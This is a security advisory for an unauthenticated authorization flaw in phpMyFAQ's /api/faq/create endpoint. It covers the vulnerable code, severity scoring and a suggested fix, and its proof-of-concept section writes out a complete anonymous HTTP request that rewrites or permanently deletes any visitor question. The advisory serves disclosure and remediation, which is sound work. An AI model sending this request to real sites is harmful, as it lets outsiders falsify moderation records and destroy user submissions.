All vulnerabilities
GHSA-9m55-g84r-x6v7

phpmyfaq: Unauthenticated object-level authorization bypass in POST /api/faq/create (openQuestionID): rewrite (7.5) or delete (9.1) any visitor question

phpmyfaq
CVSS
7.5High
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in4.1.10Fixed versionGitHub
Published10 Oct 2026Updated 10 Oct 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

POST /api/faq/create accepts a client-supplied openQuestionID, casts it to an integer and then uses it directly as the WHERE key of a write against the faqquestions table - with no ownership check, no visibility check and no permission check.

Any anonymous visitor who solves the graphical CAPTCHA can therefore rewrite any visitor-submitted question: its category and its "answered" link are overwritten, and an "answered" entry is forged in faqquestion_history with an attacker-chosen user name.

With the administrator option records.enableDeleteQuestion enabled, the very same request permanently deletes the targeted question instead - no soft delete, no revision trail for questions, unrecoverable without a database backup.

Severity:

  • shipped default configuration: CVSS 3.1 7.5 High - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
  • with records.enableDeleteQuestion = true: CVSS 3.1 9.1 Critical - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

No account, no CSRF token and no user interaction are required. Verified against phpMyFAQ 4.2.0-beta (development-nightly-2026-09-22) on 2026-10-08, and the vulnerable code is still unchanged in main @ ffc4e50 (2026-10-07). No CVE ID and no GitHub Security Advisory covers this issue as of 2026-10-08.

Details

Affected code

phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php, method create() (route POST /api/faq/create), lines 200-229 in main @ ffc4e50:

$openQuestionId = property_exists($data, 'openQuestionID')
    ? Filter::filterVar($data->openQuestionID, FILTER_VALIDATE_INT)   // :201  integer cast only
    : false;
if ($openQuestionId) {                                                // :203  no ownership /
                                                                      //       visibility /
                                                                      //       permission check
    try {
        $this->questionHistory->add(new QuestionHistoryEntity(        // :205  forged audit row
            questionId: (int) $openQuestionId,
            questionLanguage: $faqEntity->getLanguage(),
            eventType: QuestionHistoryEventType::Answered,
            userId: $this->currentUser->getUserId(),
            username: $this->currentUser->getLogin() !== ''
                ? $this->currentUser->getLogin()
                : $faqEntity->getAuthor(),                            // :210-212 attacker-controlled
            faqId: (int) $recordId,
        ));
    } catch (InvalidArgumentException $exception) { /* ... */ }

    if ($this->configuration->get(item: 'records.enableDeleteQuestion')) {
        $this->question->delete($openQuestionId);                     // :222  -> DELETE
    }

    if (!$this->configuration->get(item: 'records.enableDeleteQuestion')) {
        $this->question->updateQuestionAnswer(
            (int) $openQuestionId, (int) $recordId, (int) $categories[0]  // :227  -> UPDATE
        );
    }
}

The identifier is never compared against the requesting session, never checked against faqquestions.is_visible, and never checked against the caller's permissions. Only an integer cast is applied.

The two sinks

  • phpmyfaq/src/phpMyFAQ/Question/QuestionRepository.php:229-240

UPDATE %sfaqquestions SET answer_id = %d, category_id = %d WHERE id = %d

  • phpmyfaq/src/phpMyFAQ/Question/QuestionRepository.php:67-78

DELETE FROM %sfaqquestions WHERE id = %d AND lang = '%s'

Both use the attacker-supplied identifier as the WHERE key. Neither carries an answer_id, is_visible or ownership predicate. Question::delete() is reachable from the public controller via Question.php:54-57.

Why the existing guards do not help

  • The only gate in front of the block is isAddingFaqsAllowed() (FaqController.php:280-285), which is a feature switch, not an authorization control. records.allowNewFaqsForGuests defaults to true (Setup/Installation/DefaultDataSeeder.php:176), so on a stock installation anonymous visitors pass it.
  • The endpoint does not verify a CSRF token at all.
  • The graphical CAPTCHA (AbstractController.php:610-623) is an anti-automation measure; it is not part of the authorization model.
  • property_exists() is case-sensitive for PHP object properties, so the parameter must be spelled exactly openQuestionID (capital D) and must not be 0. The real front-end JavaScript sends openQuestionId on the update path, which is why this defect is easy to miss in manual testing.

Severity depends on one administrator checkbox

  • records.enableDeleteQuestion = false (shipped default, DefaultDataSeeder.php:172) -> the UPDATE branch -> CVSS 7.5 High, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N.
  • records.enableDeleteQuestion = true -> the DELETE branch -> CVSS 9.1 Critical, AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H.

The option is an ordinary checkbox labelled "Delete open question after answer?" (phpmyfaq/translations/language_en.php:1028). It is a content-hygiene setting with no security semantics - nothing in the label or the surrounding configuration page suggests that enabling it changes the authorization model or exposes a destructive primitive to anonymous visitors. The vulnerable state is therefore one administrator click away from the shipped default, and an operator has a legitimate, non-security reason to choose it.

The lang filter of the DELETE is attacker-controlled

Question::delete() passes the current request language (Question.php:54-57), and FaqController.php:81-83 resolves that language with setLanguageWithDetection() because main.languageDetection defaults to true (DefaultDataSeeder.php:122). The attacker therefore chooses the language simply by requesting one first. Verified on the target:

victim row: 7  en  hr-boss  1  N  0

POST /api/faq/create?lang=de   -> HTTP/1.1 200 OK  {"success":"Vielen Dank f\u00fcr diesen Vorschlag!"}
                                  SELECT COUNT(*) FROM faqquestions;  =  1   (no match, row survives)

POST /api/faq/create?lang=en   -> HTTP/1.1 200 OK  {"success":"Thank you for your suggestion!"}
                                  SELECT COUNT(*) FROM faqquestions;  =  0   (row deleted)

The localized success message in the first attempt is itself proof that the attacker's language choice reached the server.

The same capability is properly authorized elsewhere

Controller/Administration/Api/QuestionController.php requires an admin session, a CSRF token and PermissionType::QUESTION_DELETE. The public open-questions list only exposes rows with is_visible = 'Y' (Helper/QuestionHelper.php). Operating on an open question chosen by its ID was therefore never meant to be reachable without a session - the front-end controller simply lost the check.

Verification status (2026-10-08)

  • main @ ffc4e50cc385ec9c684a9434e7fc7b500098490e (version 4.2.0-beta, 2026-10-07): lines 200-229 unchanged -> still vulnerable.
  • 4.1-nightly-2026-10-07: same code (file sha 534ae29b).
  • The only commits touching that file since 2026-09-22 are b003d042 and 2ab81b8164, both chore(mago) refactors that do not modify the authorization logic.
  • Existing CVEs checked: CVE-2026-56736, CVE-2026-56737, CVE-2026-56738, CVE-2026-76214, CVE-2026-46366, CVE-2026-49205 - different components and root causes. None of the repository's published advisories covers this issue.

Suggested fix

$openQuestionId = Filter::filterVar($data->openQuestionID ?? null, FILTER_VALIDATE_INT);

if ($openQuestionId) {
    // (a) the referenced question must exist
    $question = $this->question->get($openQuestionId);        // [] when the id is unknown
    if ($question === []) {
        return $this->json(['error' => Translation::get(key: 'ad_msg_noauth')],
                           Response::HTTP_FORBIDDEN);
    }

    // (b) the caller must be allowed to answer *this* question: either it is the question
    //     this very session submitted (bound by a one-time token), or the caller holds the
    //     permission to work on other people's questions.
    $sessionClaim = (string) $this->session->get('pmf-open-question-' . $openQuestionId);
    $isOwnQuestion = $sessionClaim !== ''
        && hash_equals($sessionClaim, (string) ($data->claimToken ?? ''));
    $mayAnswerOthers = $this->currentUser->perm->hasPermission(
        $this->currentUser->getUserId(),
        PermissionType::QUESTION_ADD->value,
    );

    if (!$isOwnQuestion && !$mayAnswerOthers) {
        return $this->json(['error' => Translation::get(key: 'ad_msg_noauth')],
                           Response::HTTP_FORBIDDEN);
    }

    // (c) keep the history entry and the answer link, but never delete from a public route:
    //     drop the records.enableDeleteQuestion branch entirely.
}

Deletion should stay behind PermissionType::QUESTION_DELETE in Controller/Administration/Api/QuestionController.php. The same object-level check should be applied to every public write endpoint that accepts a client-supplied identifier (Controller/Frontend/Api/**), and the existing RateLimiter (already used by Frontend/Api/QuestionController.php) should be put in front of /api/faq/create.

A full report with annotated screenshots and raw HTTP evidence is available; I can attach it if useful.

Proof of concept

Preconditions (all shipped defaults)

  • records.allowNewFaqsForGuests = true (default)
  • spam.enableCaptchaCode = true (default) - the CAPTCHA is an anti-automation measure, not an authorization control
  • a victim open question exists (the normal state of any FAQ site; visitors submit via /add-question.html)
  • for the 9.1 variant only: records.enableDeleteQuestion = true

Seed a victim question that is hidden from the public (is_visible = 'N', so the attacker cannot see it anywhere in the UI):

INSERT INTO faqquestions (id, lang, username, email, category_id, question, created, is_visible, answer_id)
VALUES (7, 'en', 'hr-boss', 'hr@example.org', 1, 'Confidential: pending salary review',
        20260923000000, 'N', 0);

Step 1 - anonymous session and CAPTCHA

GET /api/captcha -> HTTP/1.1 200 OK, Content-Type: image/jpeg. Read the six characters (manually or by OCR).

Step 2 - the anonymous request

No cookies other than an anonymous PHPSESSID, and no CSRF token:

POST /api/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
Cookie: PHPSESSID=<anonymous session>
Content-Length: 350

{"captcha": "<code>", "openQuestionID": "7", "revisionId": "0", "faqId": "0", "question": "Attacker controlled FAQ", "answer": "Attacker controlled answer", "name": "attacker", "email": "attacker@evil.example", "keywords": "poc", "rubrik": "2", "grouppermission": "all", "userpermission": "restricted", "restricted_users": "1", "status": "published"}

Response:

HTTP/1.1 200 OK
Content-Type: application/json

{"success":"Thank you for your suggestion!"}

Step 3 - result with the shipped default (records.enableDeleteQuestion = false, CVSS 7.5)

before:  7  en  hr-boss  category_id=1  is_visible=N  answer_id=0
after:   7  en  hr-boss  category_id=2  is_visible=N  answer_id=1

audit row written by the same anonymous request:
1  7  answered  -1  attacker  1  20261008133652

Observable in the backend: on Admin -> Questions the heading above the victim's question text changes from category 1 to category 2, and Admin -> Questions -> History (/admin/questions/history/7) gains an answered / attacker entry. The attacker's draft FAQ also appears under Admin -> FAQs.

Note the row does not disappear from the open-questions list: that list has no answer_id filter (QuestionRepository::getAll(), lines 129-173) and, with the default records.enableCloseQuestion = false, its action button is built from question.id rather than answerId (assets/templates/admin/content/open-questions.twig:66).

Step 3' - result with records.enableDeleteQuestion = true (CVSS 9.1)

The request is byte-for-byte the same and the response is byte-identical. Afterwards:

SELECT COUNT(*) FROM faqquestions;   ->   0
Admin -> Questions renders 0 rows.

the forged audit row survives the deletion:
1  7  answered  -1  attacker  1  20261008140730

There is no soft delete and no revision table for questions, so the destroyed content is unrecoverable without a database backup. Because ids are small sequential integers, the whole queue can be enumerated and emptied, one anonymous request per row.

Reproduction script

I can provide a dependency-free Python 3 script (~250 lines, standard library only, pure HTTP client - no account, no CSRF token, no database access) that performs the above and prints the full raw request/response pair. It is run as:

python3 poc_openquestion_idor.py --url https://<target> --question-id 7 --category-id 2 --insecure

Happy to attach it, or I can place it in a gist - just say which you prefer.

Impact

A remote, unauthenticated attacker can modify or permanently destroy any visitor-submitted question in the installation.

Integrity (High) - any row of faqquestions can be rewritten: its category and its "answered" link. Visitors' questions are silently re-filed under an attacker-chosen category and recorded as answered by an unrelated FAQ, so the moderation queue shows a falsified state. The same request writes an answered entry into faqquestion_history with an attacker-chosen username, so a named employee can be made to appear as the person who answered a question. The entry survives even if the question is later deleted.

**Availability (High when records.enableDeleteQuestion = true)** - the targeted question is deleted outright. There is no soft delete and no revision trail for questions, so it is unrecoverable without a database backup. Question ids are small sequential integers, so the entire question queue of the installation can be enumerated and emptied with one anonymous request per row. The victim and the administrators receive no notification.

Confidentiality - none through this vector.

Who is affected - every phpMyFAQ 4.2.0-beta installation (and the 4.1 nightly) with records.allowNewFaqsForGuests = true, which is the shipped default; the 7.5 case therefore applies out of the box. Deployments that enabled the "Delete open question after answer?" option are exposed to the 9.1 case, where any visitor question - including ones deliberately hidden from the public (is_visible = 'N') - can be destroyed anonymously and irreversibly.

For any site that uses the ask-a-question workflow as a support or contact intake, the intake channel can be wiped anonymously.

Text from GitHub Advisory Database

Affected versions 1

  • phpmyfaq<= 4.2.0-betaGitHub